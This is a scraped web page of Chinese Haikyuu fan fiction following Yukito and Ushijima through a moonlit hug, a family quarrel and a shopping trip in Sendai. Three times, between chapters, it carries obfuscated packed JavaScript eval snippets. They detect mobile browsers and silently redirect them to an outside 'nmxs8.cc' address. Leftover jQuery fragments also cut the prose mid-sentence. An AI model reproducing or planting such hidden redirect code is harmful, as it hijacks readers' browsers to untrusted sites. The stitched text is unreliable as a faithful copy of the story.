() { $(''.inform'').remove(); $(''#content'').append('' 着牛岛若利。 仿佛也在问他。 “确实有点不甘心啦,而且外公也真是有够难相处的。”立花雪兔笑了笑,“但我算是支持她吧,我也同意她把她自己的人生,爱情啦梦想啦之类的,放在我的前面。” 听见这话的牛岛若利愣了一下,眼中一瞬间的迷茫迅速消失,仿佛很久以前没有解出来便放弃了的一道难题,多年以后却偶然地顿悟了。 就在立花雪兔的寥寥几语之中。 “是吗。”牛岛凛华于是也笑了,“她知道了一定会高兴的。” 他也一样。 你的父亲,若利。 * “我吃饱了。” “呜哇——谢谢凛华阿姨的款待!我来帮忙收拾吧!” “你只是假装客气一下,其实在自己家从来没有收拾过对吧。”牛岛凛华毫不留情地戳穿他,“好了,你和若利去玩吧,我喊阿姨来就行了。” “吃饱了不要瘫在沙发上。” “若利你也是,吃饱了不要立刻打排球啊。” 牛岛若利伸手将立花雪兔从沙发上拉起来,二人坐在檐廊前,皎白月色如溪水一般倾泻而下。 立花雪兔仰头望着那一泓清光,喃喃地说: “好き……”[2] “什么?”牛岛若利问。 立花雪兔转过头,笑着看着他: “月亮。” “嗯,”牛岛若利点头,“月亮。” 挨得很近。 可以闻到牛岛若利身上令人安心的、干净的气味。手也靠得很近,他的手掌很大,轻而易举地就能稳稳握住一颗排球,相比之下,立花雪兔的手简直小得不可思议。 幼驯染真好啊。 从最开始就拥有最近的距离。立花雪兔心想。 但是也很不好。 以亲密的名义,却只能游离在最后、最重要的那一点点距离之外。 他把手放到牛岛若利的手背上。 果然,牛岛若利没有感到奇怪,甚至没有抽开手,只是投来了一个“怎么了?”的眼神。 “若利,”立花雪兔笑着对他说,“我们去‘秘密基地’玩吧!” “但你外公不是不让……” “哎呀,他怎么知道我是在你家里还是出门了,走走走。”立花雪兔跑到客厅里,对牛岛凛华说,“凛华阿姨,如果我外公来问就说我和若利在房间里看漫画啊。” “我房间里没有漫画。”牛岛若利说。 “不管了不管了。”立花雪兔背上排球包,一阵风似的将他拽走了。 牛岛家的庭院后面,有一颗很大的柚子树。 小的时候,他们常常爬到这颗柚子树上,翻过院墙,跳到河堤上。 “哎,以前觉得这堵墙很高的。”立花雪兔说。 现在,他们甚至可以轻而易举地直接翻过去。牛岛若利先在院墙下等着,像小时候一样接住后跳下的立花雪兔,两个人在夜色下,沿着一段漆黑的河堤奔跑。 一直跑。 路的尽头,是一个荒芜的空地,中间立着一张破破烂烂的排球网。 没有人,没有灯光,仿佛也是时光和回忆的尽头。 “它还在啊。”立花雪兔笑着问,“你还记得我们第一次找到这里的时候吗?” “记得。”牛岛若利安静地说,“十年前。” 11. 春月夜的免费拥抱 “你还记得我们第一次找到这里的时候吗?” “记得。十年前。” * “修行的第一要义是什么?”六岁的立花雪兔大声问,“若利哥哥,请问答!” 八岁的牛岛若利抱着排球,想了想,认真地说: “是开始修行。” “……”立花雪兔疯狂摇头,“不,是修行的场所!” 一如绯村剑心在雪山、樱木花道在海边、小杰和奇犽在天空竞技场,立花雪兔作为《周刊少年Jump》的忠实小读者,坚定地认为要想变得更强,就必须在某个秘密基地里修行,而绝非简单地在“牛岛家的庭院”或者“立花家的庭院”打打排球就可以了。 “若利,我们庭院里的排球网呢?” 牛岛若利看着爸爸,而在爸爸背后,是拼命朝他摇头的立花雪兔。 “……”牛岛若利低头,“被风吹走了吧?” “噢——”牛岛崇忍着笑,假装恍然大悟地点了点头,“原来是被风吹走了啊。” 牛岛崇回头。 将排球网拆到秘密基地去的头号罪犯立花雪兔,正抱着排球假装自己很忙的样子,自以为伪装得很好,其实早就被大人看穿了。 他不再是第一天摔在若利怀里哭鼻子的孩子了,现在他能跑、能跳、爱笑、爱闹,带着若利在庭院里上蹿下跳、发起冲锋,像是随时随地都会刮起的一阵小型飓风。 作为父亲,当时还叫做牛岛崇的男人,仿佛已经预见到了这一个遥远的事实: 在同龄人当中,若利对待任何事情都沉稳而认真,像是一座沉默的岛屿。 而他却是能够把若利带走的一阵轻风。 * “网被调整过了?这是正常的高度耶。”立花雪兔扯了扯那张已经破破烂烂的排球网,“我记得我们那时候放得很低啊。难道这些年还有人在这里打球吗?” “是吧。” “那时候看了巴西队的录像带,就想找个秘密基地偷偷练负节奏快攻,练好了吓崇叔叔一跳。”立花雪兔笑着说,“咦,对了,崇叔叔今天怎么不在家啊?” “……他在美国。” “诶?那么远?他也出差了吗?”立花雪兔没有察觉到他反常的停顿。 “他和妈妈离婚了。”牛岛若利平静地说,“好些年前的事情了。” 立花雪兔呆滞了。 我竟然没有意识到。回过神之后,他懊恼地想,我竟然完全没有意识到。 一味地沉浸在自己的痛苦里。 全然不知晓,在自己痛苦不堪的时候,他先于自己,更早地就经历了那一切。 “我、呃、你你你……”立花雪兔语无伦次了半天,最后低着头说,“对不起啊,若利。” “为什么你要道歉?” “因为我竟然没有发现。”过了一会儿,立花雪兔抬头看着他,“很难过吧?” 夜色里,破旧的、小小的排球场。 其实只是一个被人遗忘的荒芜空地,很难称之为什么场。 在黑暗里,牛岛若利望着由自己调整的排球网。 月亮被乌云遮蔽了,其实什么也看不见,他只是望向了记忆里排球网的方向,似乎也能感受到它在夜风里微微飘荡,空无所依。一如无数个,他曾经安静地、孤独地待在这里的夜晚。 谁也看不见谁的脸。 那么,也不必难为情了。 “……有一点。”牛岛若利轻声说,“之前。” “我知道的,所以没关系。”少年清亮的嗓音在黑暗中响起,“……其实我最近也想明白了,他们不再相爱了,人生的轨迹也不同了,就算勉强在一起也只会痛苦。” “嗯。” “崇叔叔哪怕在很远的国家,一定也还是很爱很爱你。” “嗯。” “凛华阿姨也还在,你没有被她丢到老家。她很忙,赚很多很多钱,但你周末回家的时候她都会和你一起吃饭。” “……嗯。” 牛岛若利心念一动,仿佛听懂了他的弦外之音。他看向黑暗中的少年,紧接着—— 乌云散了。 皎白的月光重新照在大地上。 他重新看见了少年的脸,一如既往地笑眼弯弯,却似乎也有些难过。 “没关系的。”立花雪兔笑着安慰他,“所以有谁要抱抱吗?现在出售一个免费的抱抱噢。” 牛岛若利走过去。 他没顾得上少年张开的双臂,而是直接把他整个笼罩在了怀里。 ……温暖干燥的手掌。 温暖干燥的手掌按在立花雪兔的后脖颈上,淡淡的橙花香味在二人之间弥漫开来。他抱得很紧,比前两次立花雪兔扑向他的时候都要抱得更紧。立花雪兔听见那低沉的、令人安心的嗓音,温热的呼吸就打在他的耳畔。 “嗯,没关系。”牛岛若利摸了摸那毛茸茸的脑袋。反复漂过的头发很细,比想象中更柔软一些,“你也一样,没关系了。” “……嗯。” 怀中,一声强忍住的泣音。 过了会儿立花雪兔从他怀里抬起脸,很难为情地笑: “来都来了,我们打会儿球吧。” * “我上次接你的扣球砸出来的淤青还没好!不准扣了!换我来!” “你来吧。” 球被高高地抛过网,立花雪兔助跑、击球,牛岛若利稳稳地接住这一球,弹回到了对面。 扣过来。 弹回去。 咚、嗒、咚、嗒。 “扣球果然还是很爽啊。”立花雪兔感慨。 “你跳得很高,速度很快,虽然力量还有些不足。”牛岛若利认真地评价,“其实也还是可以当主攻手或副攻手的。” “谁叫我小时候一直都在给你传球?已经定型了,少走二十年弯路。” “你还没有二十岁。” “你完全听不懂笑话。” 二传在扣球。 从不参与一传、永远在进攻位的主攻手在接球。 立花雪兔想到现在的场面就想笑,不知道鹫匠教练看见了会不会火冒三丈,“吃了没事干就去跑圈!!!”这样吼他们。 但牛岛若利是白鸟泽国宝级别的,挨骂的可能只有自己一个人吧。 挨骂也没关系。 一塌糊涂的人生,也没关系。 在这样的春天里,一切都可以被原谅,一切都还有机会。 “真好啊!若利!”球飞过来的时候,立花雪兔忽然喊。 “什么?” “春天真好啊!” 牛岛若利:“……?” * 二人踩着时间点,又像落跑的辛德瑞拉一样翻墙回到了牛岛家。立花雪兔的反侦查工作做得非常到位,特地等到汗干了、气也不喘了,才若无其事地从庭院后走到牛岛家门口。 立花雪兔:“………………” 立花雪兔呆了。 檐廊前,坐在牛岛凛华旁边喝抹茶、吃和菓子的,不是外公还能是谁? 救命啊。立花雪兔心说。 牛岛凛华转头,悄悄对他眨眨眼睛,那意思很明显:我尽力了,但还是救不了你。 “那么,”立花浩介将盏中抹茶饮尽,彬彬有礼道,“感谢您的招待。我家的孩子我就先带回去了。” “哪里,您客气了,请慢走。”牛岛凛华也向他行礼。 完了。 被抓个正着。一切都完了。 “要西特嘞……”[1]立花雪兔不自觉地冒了一句乡音。 牛岛若利:“?” 立花雪兔老老实实地被逮回了家。 外公看起来很平静,这是最恐怖的,暴风雨前的平静。 “回来了?在牛岛家玩得开心吗?”立花薰子朝他们招呼了一声,却见祖孙二人的脸色都不太好,心说不妙,这又是怎么了。 立花浩介以武人的姿势跪坐在蒲团上,立花雪兔端正地坐在对面,低头缩成一团。 “好,很有出息。”立花浩介冷笑道,“做不到的事情也撒谎答应,这就是你父亲家里教你的吗?” 训我就训我,为什么要扯到爸爸啊。立花雪兔心里不爽。 “明明是外公先提了无理的要求吧。”他顶嘴,“说好了写完作业就能和若利玩,却偏不让我们出去玩,十几岁的男高中生哪有不出去玩的啊?而且我们只是去打球,也犯了天条吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380220|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱怨的话一旦说出了口,就滔滔不绝。 “还有规定每天一定要七点到家,偶尔想和部团的朋友们吃饭,难道是罪无可赦的事情吗?你也总是不肯答应。”立花雪兔说完才想起来用敬语,弱弱地改口,“您。” 于事无补。 立花浩介已经被他稀烂的日语激怒了。 “这是在我家!就要遵守我家的规矩!”立花浩介怒吼,“真琴当初要嫁给那小子的时候我就不同意!你这副粗鲁无礼的样子,和你爸爸简直如出一辙!哼,不听我的,现在果然离婚了吧!” “他们结婚离婚你骂我干什么?!跟我有什么关系?!”立花雪兔一瞬间很委屈。刚刚还觉得人生很美好、春天很美好,现在立刻就不想活了。 他顾不上什么敬语了,也向立花浩介吼:“说到底,立花家和我又有什么关系!你不过就当是捡到一只流浪猫,养到成年就不用负法律责任了!散养一下不就行了!” 立花浩介:“……” 立花浩介顿了一下,站起来,拿起了平日里练习用的木刀。 “臭小子!看我不揍死你!” 立花雪兔心说我傻吗我,乖乖让你揍?转头就跑。 “给我停下!” “你放下我就停下!” “不放!” “不停!” 立花雪兔往庭院里跑,一头撞上了从门口走进来的牛岛若利。 “干什么?” “……刚刚突然想到,你明天要不要去买排球鞋?”牛岛若利问。 “要去!” “不许去!”檐廊前传来立花浩介的怒吼,“你给我在家里好好反省!” “就要去!”立花雪兔也怒吼。 立花浩介追了出来:“好啊!去了你就再也别回来!” “好啊我不回来了!我死外面行了吧!” 牛岛若利:“……………” 看见立花浩介挥着木刀,立花雪兔转头就要继续跑。 牛岛若利一把抓住了立花雪兔的手腕。 “叛徒啊你!!!放开我!!!” “干得好!若利!我今天一定要好好教训这小子!” 木刀劈下。 牛岛若利另一只手稳稳地抓住了未开刃的木刀,无辜地眨了眨眼睛。 立花浩介:“……” “好了!若利还在这里,你们要让人家看笑话是不是!”立花薰子匆匆赶到庭院,喝止了祖孙二人。 “雪兔。”她严厉地说,“这次是你不对在先,向外公道歉。” 立花雪兔:“……” 他眼里的泪珠不断地打转,终究没有落下一颗,只是扁着嘴,一脸倔强地看着立花老夫妇二人。他们几乎都要忘记了这张倔强的小脸,现在一切又重新变得清晰了起来,和他六岁的时候完全一样,和真琴也完全一样。 “立花老先生,”牛岛若利尝试着揽过责任,“是我想让雪兔陪我练一会儿球的,对……” “对不起!”立花雪兔截住他的话头。 虽然还是很不服气,态度有待加强,但好歹还是认错了。 “不是若利,是我。”立花雪兔硬邦邦地说,“我道歉,现在总可以了吧?” 立花浩介重重地哼了一声。 “好了,老头子,轮到你了。”立花薰子又说,“你怎么能对雪兔动手呢?你也要向他道歉。” 立花浩介:“……?” 立花雪兔诧异地抬眸望着她。 素来沉静的、不管事的、活得像古宅里的一幅装饰画的外婆,此刻竟然威严得不容置喙,要当了四十年一家之主的外公向他这不懂得尊卑秩序的莽撞孩子道歉。 牛岛若利暗暗松了口气。 看样子,他可以离开了。 * “若利,你刚刚又出去了?”牛岛凛华探头,看着坐在檐廊前的牛岛若利,“怎么了,表情这么凝重?” “妈妈。” “嗯?” “……还好我们不和外公外婆住在一起。” “哈哈哈哈哈哈!”牛岛凛华大力地揉着他的脸,“真是难得,我们家若利竟然也会遇到苦恼的事啊?哎呀,果然这样才比较可爱啊——” 12. 日曜日的长发公主 翌日,还在酣睡中的立花雪兔,突然听见房门传来咔嗒一声响,猛然从梦中惊醒。 他从床上蹦起来,在房间玄关的地上发现了一个装着早饭的托盘:黄油红豆吐司、紫甘蓝卷心菜沙拉和一杯牛奶。 立花雪兔心里咯噔一下。 他立刻伸手去开门,果然,门已经被反锁上了。 这时候他才看见牛奶下压着的一张字条: 「致立花雪兔君: 我将于午后3时30分左右归家,此间,请君于房间反省,思索并书写未来之计划。届时请君至书房一叙,共议诸方面之问题。 朝、昼饭将按时送入房间。 ——立花浩介」 立花雪兔:“……” 太卑鄙了! 他明明就听见了今天自己和若利要去买排球用品的! 等他三点半到家,开个家庭会议,再吃个晚饭,就已经七八点了,若利早就回宿舍了,又要等上足足一个星期才能有时间。 立花雪兔在房间的卫生间里洗漱,愤愤地想。 昨天,尽管有立花薰子在二人之间斡旋,让他们回房间静一静,也只不过是把矛盾往后推延了一阵。 立花雪兔自己倒是一觉睡到了大天亮,而老头子估计辗转了反侧一整夜,就想出个把他关房间里的馊主意。 牛岛若利: 【今天确定去吗?】 这是早上六点发来的消息,他那时候大概正准备去跑步。 立花雪兔坐下吃饭,打字回消息。 狂乱木曜日: 【去!为什么不去(*`д`)】 牛岛若利: 【九点见可以吗?】 【去XEBIO买吧,在仙台站前就有一家店。中午可以去旁边的商场吃饭,你再看看还有什么需要的。】 狂乱木曜日: 【OK(* ̄3 ̄)】 牛岛若利: 【OK(* ̄3 ̄)】 立花雪兔:“……” 这时候,他听见庭院里发动机的声音。他探出头去,看见一辆漆黑的丰田世纪G20载着立花浩介缓缓驶出了庭院。 你人都不在家,还想关住我?立花雪兔冷笑着想。 喝完最后一口牛奶,他把托盘放下,打开了窗户。 他的房间在三楼。 一层楼大概三米,他跳起来摸高也不止三米了。 区区三楼,又有何惧?! 立花雪兔跨坐在窗户上,试着伸出一条腿在外面晃荡,往下看了看。 日式的独栋房屋没有露台,连空调外机都藏在背面,正面只有一面空荡荡的墙体。 ……等等,还是有点惧的。 立花雪兔隐隐有点退缩了,他坐在窗户上,转而开始思考庭院里土地的湿润和柔软程度,足不足以支撑他安然无恙地着陆。 “啊啊啊啊啊啊!!!” 庭院里弯腰除草的园丁高桥站了起来,偶然一抬头,吓得快要魂飞魄散。 “雪兔少爷!你要干什么!!!” “夫人!夫人您快来啊!!!” 立花薰子闻讯赶到庭院里,抬头看见立花雪兔坐在三楼的窗户上,一阵目眩,差点昏过去。 “你抓稳!不要松手!”她努力定了定神,“快翻回去!” 立花雪兔:“……” 场面有些闹大了。 说实话,他也有点害怕,只能慢慢慢慢地把腿往回缩。 立花薰子感觉自己要得心脏病了。 “高桥,赶紧去拿个软垫铺在那底下。”她看不太清楚立花雪兔的举动,还以为他铁了心要跳楼,又喊,“是外公把你关起来的吗?你快回去,我给你开门,这就让莉子去给你开门。莉子!” “好的夫人!我这就去!” “雪兔,不要跳啊。”她的声音颤抖,简直是在哀求,“你想想,要是受伤了,还怎么打排球呢?” ……对哦。 立花雪兔立刻收回了腿,把窗户关上,一屁股坐在房间的地上。 “夫人!我不知道老爷把钥匙藏在哪里了!”莉子的声音传来。 “高桥,”立花薰子立刻说,“你同我上楼去把门撞开。” 咚。咚。咚。 立花雪兔呆呆地坐在地上,好像这会儿才反应过来,自己比外公有过之而无不及,想了出更馊的馊主意。 他仿佛被困在城堡里的公主,没有长发编织的绳索。而外面在拼命救他出去的,却不是王子或骑士。 门被撞开了。 立花薰子冲了进来,一把将立花雪兔抱在怀里。 ……是外婆。 来救他的,是外婆。 “你这孩子!真是的!”她胸膛的心脏还在砰砰狂跳,抱着立花雪兔犹如抱着一件失而复得的珍宝,“你要把我吓死吗?知不知道我有多担心啊!” 立花雪兔怔怔地抓着她和服的前襟,她的怀里有一股非常温暖又令人怀念的气息。 好像妈妈。 “……外婆。”他说,“对不起。” 他听见一声轻轻的叹息。 “雪兔,”立花薰子说,“你跟我来一下。” 立花雪兔亦步亦趋地跟着她,走到了客厅里。 客厅的茶几上,还铺着一把未修剪的花,想必是她刚刚插花插到一半,就匆匆赶去救“跳楼”的叛逆青少年了。 “帮我一个忙好吗?”立花薰子把一枝剑兰花交给他,“修剪它。” “修剪成什么样?”立花雪兔摸不着头脑。 “随你喜欢。” 立花雪兔心里还想着和牛岛若利出门逛街的事,但刚刚闹了一出,他也不敢提了,乖乖地跪坐在蒲团上修剪叶枝。 墙上的挂钟走到了九点,沙发上的手机屏幕亮起了,想必是牛岛若利在门口没看见人,便打电话来了。立花雪兔心不在焉,眼睛一直往手机瞄,削根的时候一个不注意,把一整根给掰断了。 立花雪兔:“……” 立花薰子重新递给他一枝剑兰花。 “再试一试?削根的时候不能平着,也不能太斜,否则容易腐烂或枯萎。” 立花雪兔便以一种狸花猫搞破坏的心态开始努力,心想只要多掰断几枝,外婆应该也就放弃了,能放他出门了吧。 立花雪兔的手机常年静音,只能瞄见不断亮起来又熄灭的屏幕,亮到了第三遍,就不再亮了。 檐廊外传来脚步声。 莉子引着一个人进了客厅,对立花薰子说:“夫人,隔壁的若利少爷来了。” 救星来咯! 立花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380221|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪兔疯狂向他使眼色:快快快!救我出去!救我出去!!! 牛岛·救星·若利点点头。 立花雪兔还沉浸在天降救星的喜悦里,却见牛岛若利规矩地朝立花薰子问好,接着端正地坐在旁边的蒲团上。 “啊啦,若利来了啊。”立花薰子说,“稍等一会儿哦。” “嗯。”牛岛若利应了声,就不再说话了。他戴上一只耳机,一边听英语,一边看立花雪兔插花。 立花雪兔:不是,哥们,你??? 说来也奇怪,有牛岛若利沉默地坐在旁边,立花雪兔忽然感觉自己也能静下心了。他低着头慢慢修剪杂乱的叶枝,一枝雪白的剑兰花,搭配一簇白玉椿、几枝松枝,这些东西渐渐在他手中组合成一幅古典的图画。 牛岛若利望着眼前的少年,想起了一件事。 以前曾经听妈妈说过,“立花”原本就是插花中最古老的一种形式,起源于佛堂前的供花。 少年垂着头,只穿了一件单薄的白衬衫,隐约可见背脊上一双振翅欲飞的蝴蝶骨。袖口下的一截纤细手腕白得像绸缎,微微浮动着青筋和青色的血管。 很少能见到他这样沉静。 春日的阳光洒在他身上,确像宝殿前的石阶上,一捧未融化的、新岁的雪。 “……完成了。”立花薰子的声音将他从思绪中拉出来。 “作为‘真枝’的唐菖蒲[1]位于正中,象征着人;‘副枝’依靠着‘真枝’,位于深处,‘体枝’位于前方,位置最低,这二者象征着天地。插花中的空间关系,也隐喻着为人的哲学。你看,只要认真做,就算是第一次,你也能做得不错。”立花薰子缓缓地说,“……不过呢,我今天并非要跟你讲什么大道理。” “我只是想让你知道,你外公所做的一切,其实只是希望你能像这样,安静地陪他一会儿。” 立花雪兔难以置信地睁大了眼睛。 “很不坦率吧?你外公就是这样的人啊。”立花薰子摸了摸他的头发,“所以,就请你多多担待了。其实他吃软不吃硬,只要你像小时候一样向他撒撒娇,他就什么话都说不出来了。” 立花雪兔:“……” 向外公撒娇,基本上等于向鹫匠教练撒娇。他以前从未想过这样的可能性,总觉得会被这些老头子的铁拳打到银河系外。 但是,既然……外婆都这么说了? “我……我会努力的。”立花雪兔说,“我会努力和外公好好相处,再也不做让您担心的事情了。” 牛岛若利听见这句话,头上淡淡地冒出了一个“?” 呃啊,好丢脸—— 立花雪兔拼命朝外婆使眼色,不想让幼驯染知道自己刚刚差点跳楼的事情。 还好,外婆是看得懂眼色的,不像某个排球笨蛋。 “劳你久等了,若利。那么,”立花薰子笑了笑,“现在你可以把我们的公主殿下带走了。” 牛岛若利朝她微微颔首。 “外公问起来怎么办?”立花雪兔担心。 “不要紧,有我在呢,你们想几点回来就几点回来。” “外婆你太好了——” 牛岛若利把有线耳机卷好,放到运动包里,看着立花雪兔。 “要走吗?”他问。 “嗯!走吧!” 13. 仙台站的商店街 牛岛若利仍然穿着白紫相间的运动套装,不是白鸟泽队服也胜似白鸟泽队服。立花雪兔于是翻箱倒柜找了一件薄藤色的卫衣,穿了一条白色工装牛仔裤,暗搓搓地跟他搭情侣款。 从电车玻璃里看见自己的倒影,立花雪兔自我感觉真是青春啊,帅啊,再看看旁边的牛岛若利,更是帅爆了,毫不费力的压倒性的帅,心想真是般配得不得了,偷着乐了半天。 牛岛若利:“?” 完全不知道他摇头晃脑地在开心什么,只是看着他很开心,自己的表情也不自觉地变得柔和了。 “诶,我YouTube好久没更新视频了。”立花雪兔突然想起来自己还有一个身份。 “你现在要录吗?” “不要,第一次和若利逛街,当然要专心享受啦!”他说,“不过,拍张照片还是很有必要的。” 不等牛岛若利反应过来,立花雪兔已经举起手机前置摄像头,踮起脚凑到他身边,以迅雷不及掩耳之势咔嚓了一张。 1:1定格的正方形屏幕里。 牛岛若利: ( ˙︿˙ ) 立花雪兔: (ˊωˋ*) 立花雪兔在照片上铺满了小动物贴纸,文案上打了一只奶牛和一只白兔的emoji,更新了一条Ins。 Tsutomo: 【太卑鄙了!你们去哪里玩?】 Satori回复Tsutomo: 【趁着王牌出去玩了,你赶紧偷偷努力,一鼓作气超过他吧!】 Tsutomo回复Satori: 【哦哦哦!说得对!】 Ken2回复Satori: 【……】 Tsutomo回复Ken2: 【白布前辈!您今天有空吗?请帮我托球吧!】 Yukito回复Tsutomo: 【自己去私聊啊!话又说回来,怎么大家都follow了我啊Σ(°Д°;】 Satori回复Yukito: 【Semi酱在群里分享给大家的~他的妹妹是你的超级大粉丝哦~】 在群里分享的? 立花雪兔想,可能是自己还没入部的时候的事情。但是在群里分享,那不就意味着若利也知道了吗? 他想到了那条「樱花樱花想见你」的post。虽然发布那条的时候还没有意识到自己喜欢牛岛若利,但是今非昔比,他现在问心有愧,已经不好意思让他看见自己隐隐约约的悸动了——尽管,牛岛若利一定不理解“悸动”二字。 不对,哈哈,我在纠结什么啊。 那可是牛岛若利啊,他估计连Ins账号都没有吧。立花雪兔很快就放心了。 不过,以防万一,他还是问了一句正盯着手机屏幕的幼驯染: “你在看什么呢?” 牛岛若利保存照片,把Ins的后台划掉,切到昨天找好的攻略给他看: “在看适合二传的排球鞋推荐。” “哦哦。”立花雪兔心说果不其然,根本没有任何担心的必要,“我也看了,感觉亚瑟士的Burst27就可以了。我其实更喜欢Rocket10的款式,但是它最近也溢价太多了吧!” “二传的话Tactic更适合一些。” “这样吗?我等会儿去店里试试……还有好多要买的,排球我都没有,然后护膝、护腕、绷带、撒隆巴斯喷雾剂……护臂我不喜欢戴就先算了。啊啊我的钱包……” * 本州岛东北部,宫城县的首府,仙台市总面积788.08平方公里,其实只是一个非常小的城市,大概相当于八分之一个上海,还没有浦东新区的面积大。 电车只要坐一站,就到了仙台站,步行都可以抵达。新干线直达东京,仙台站附近有很多购物商场,他们今天的目的地XEBIO运动用品专门店也在这里。 “怎么样?这是Tactic系列的最新款哦。”店员热情又专业,对立花雪兔说,“对二传来说这双是最合适的了,店内有模拟排球场的试穿区,您可以去那边跑动试试,有需要的话还可以为您免费提供步态分析哦。” “我去试穿区看看。”立花雪兔对牛岛若利说。 “嗯。” “你帮我挑下护膝吧,我等会儿过去找你。” “好。有什么要求?” “不知道,你就看着办吧。” 立花雪兔跟着店员到了试穿区,稍微蹦跶了两下,试着托了一个球。 ——忽然有一个橘色的小旋风从不知道什么地方冲了出来,嗖地一下跳到半空中,狠狠地击中了这一球! 立花雪兔:“?!” 好惊人的弹跳力! 那人落在地上,稳稳地站了起来,那毛茸茸的橘色头发才够得上立花雪兔的下颌,身高估计只有一米六左右。 但是刚刚立花雪兔清楚地看见,他的击球点在三米以上。 这颗小橘子是跳起了几乎一个自己吗?! “嘿嘿,抱歉啊,我看见高球就会忍不住想打。”小橘子转过来,露出了一个阳光的笑容,“你也是来买排球鞋的吗?你是二传吗?你有参加排球部吗?” “啊……是,是,有。”立花雪兔很少见到比自己还要外向的人,一时间竟然有些措手不及。 “二传啊!”小橘子的眼睛里冒着布灵布灵的星星,“我是乌野高校排球部的日向翔阳,一年级,位置是副攻!” “你跳得好高啊!”除了自己的学校,立花雪兔就只知道前两天遇到的青叶城西,但见这位日向同学身负绝活,心说乌野高校想必也绝非等闲,不由得肃然起敬,“我也是一年级,在白鸟泽学园的排球部。” “白鸟泽?!” “喂,呆子,你选好了没有啊?” 另一个黑色头发的冷面帅哥走了过来。 “影山!这位是白鸟泽的二传哦!”日向翔阳热情地对他说。 “我只是替补啦……” “白鸟泽很难去的,影山当初都没有考上。” “喂,你。”影山飞雄以微妙的身高优势俯瞰着立花雪兔,凶巴巴地问,“难道是白鸟泽的体育保送生吗?我怎么没见过你?” “不是,我就是普通地考进去的。” “那不是更难了?!”日向翔阳在旁边惊叹,“白鸟泽都是自主命题的耶。” 立花雪兔:“有吗?还好吧。我之前都在国外念书,回来之后觉得还挺简单的。” 影山飞雄:“……简单。” 立花雪兔:“除了国语有点生疏了,其他科目都是满分。” 影山飞雄:“……满分。” 日向翔阳:“……” 日向翔阳疯狂摇晃已经变成灰色、有魂魄从嘴里飘出来的影山飞雄:“影山你没事吧,影山你振作起来啊,影山你怎么死了!!!” “护膝。”另一个声音在他们身后响起,“你要白色的还是黑色的?” “啊,白色的,谢谢若利。” 影山飞雄一瞬间从濒死状态回过魂来,猛地转头盯着来人。 “……牛岛前辈。” “……北川第一的影山飞雄,”牛岛若利也看着他,“我记得你。” “好高啊!”日向翔阳感叹。 “是吧!这可是我们的超级王牌哦。”立花雪兔听见别人夸牛岛若利,比夸自己还开心,“对了,我们要不要加一下联系方式?” “好啊!有空一起打球!还有,谢谢你刚刚托的球!” “可以呀! 立花雪兔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380222|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到刚刚他冲过来击球的样子,好像自己随手托的球也被人非常地珍视、珍惜着,并且真诚而毫无保留地赞美,让人感到为他托球也甘之如饴。 这边的主攻手和二传相互瞪着,不使用任何语言,只以独特的脑电波交流。 另一边,他们的替补二传和副攻手,已经拿着手机凑在一块儿嘀嘀咕咕,仿佛他们才是认识了十年的幼驯染,要好得不得了。 “sho、yo,是哪两个字?” “我给你打吧。” “好,我也给你打我的名字。” “雪兔啊!好适合你的名字!” “翔阳也是啊,嘿嘿,下次我认真给你托球!” “太好了!谢谢雪兔!” 影山飞雄:“……” 牛岛若利:“……” 二人的心里不约而同地产生了微妙的不爽。 “我也考了白鸟泽。”影山飞雄率先说。 语焉不详,让人分不清楚究竟是寒暄、挑衅还是普通的自我介绍。 “你没来白鸟泽才是正确的,”牛岛若利竟然准确地理解了他的意思,“我见过你的打法,白鸟泽不需要不为我托球的人。” “若——” 立花雪兔刚加完LINE,转头想喊牛岛若利,却只没头没尾地听见了他的最后一句话。 「白鸟泽不需要不为我托球的人。」 一同想起来的,还有鹫匠教练在第一次拒绝他入部的时候说的话。 「你已经不适合现在的他了。」 我在白鸟泽里算什么呢…… 我究竟算什么呢? 入部一个星期以来,他几乎没有和牛岛若利一起打球的机会。 尽管只是在场边看着,立花雪兔也不得不承认,以牛岛若利作为“ACE”、以白布贤二郎作为“辅助”的组合,是最强的。 绝对的实力。 不需要任何花哨。 我究竟算什么呢? 怀着炫耀的心情习得的、华而不实的技术,是第一件就该被白鸟泽摒弃的,无用的东西。 * “一共21300円。请问您怎么支付呢?” “VISA……完了,我的零花钱不知道够不够啊。” “您有会员吗?积分可以抵扣哦。” “没有。” “我有。”牛岛若利说。 “不用了,应该还够吧。”立花雪兔安静地接过店员递回来的VISA卡,“走吧,回去吧。” “不再逛一会儿吗?”牛岛若利问。 “不要了吧。” 牛岛若利疑惑地看着他。 嗯,没错。 来的时候还是(ˊωˋ*)这样的,不知道为什么,突然就变成( 